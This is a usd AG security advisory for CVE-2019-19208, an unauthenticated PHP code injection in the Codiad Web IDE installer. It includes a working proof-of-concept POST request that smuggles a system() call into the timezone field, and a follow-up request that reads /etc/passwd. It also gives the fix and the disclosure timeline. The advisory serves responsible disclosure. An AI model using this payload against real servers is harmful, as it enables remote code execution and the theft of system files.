usd-2019-0049 | Codiad Web IDE

Advisory ID: usd-2019-0049
CVE Number: CVE-2019-19208
Affected Product: Codiad Web IDE
Affected Version: v.2.8.4
Vulnerability Type: PHP Code injection
Security Risk: Critical – Remote Code Execution (RCE)
Vendor URL: http://codiad.com/
Vendor Status: Not fixed

Description

An unauthenticated attacker can inject PHP code that gets executed and therefore he can run arbitrary system commands on the server.

Proof of Concept (PoC)

Install Codiad following the instructions in the Github repository.
Beforethe initial configuration, intercept the POST Request or send the following payload:

POST /components/install/process.php HTTP/1.1
Host: codiad.local
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Content-type: application/x-www-form-urlencoded
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 170

path=/var/www/html/data&username=/tmp/dada&password=/tmp/dada&project_name=/tmp/dada&project_path=/var/www/html/data/data&timezone='")%3b+system($_GET["cmd"])%3b+print("'

Now you can inject system commands via the GET parameter “cmd” like this:

http://codiad.local/data/config.php?cmd=cat /etc/passwd

Please note that this is also possible after the initial configuration by specifying a project path that does exists but was not used before.

Fix

Properly filter input that is written to PHP file.

Timeline

  • 2019-07-16 Tobias Neitzel discovered the bug
  • 2019-08-05 First contact attempt via GitHub issue
  • 2019-10-30 Second contact attempt via https://fluidbyte.github.io/
  • 2020-02-05 Security advisory released

Credits

This security vulnerability was found by Tobias Neitzel of usd AG.

ABOUT usd SECURITY ADVISORIES

In order to protect businesses against hackers and criminals, we always have to keep our skills and knowledge up to date. Thus, security research is just as important for our work as is building up a security community to promote the exchange of knowledge. After all, more security can only be achieved if many individuals take on the task.

Our CST Academy and our usd HeroLab are essential parts of our security mission. We share the knowledge we gain in our practical work and our research through training courses and publications. In this context, the usd HeroLab publishes a series of papers on new vulnerabilities and current security issues.

Always for the sake of our mission: “more security.”

to usd AG


In accordance with usd AG’s Responsible Disclosure Policy, all vendors have been notified of the existence of these vulnerabilities.

Disclaimer

The information provided in this security advisory is provided “as is” and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible.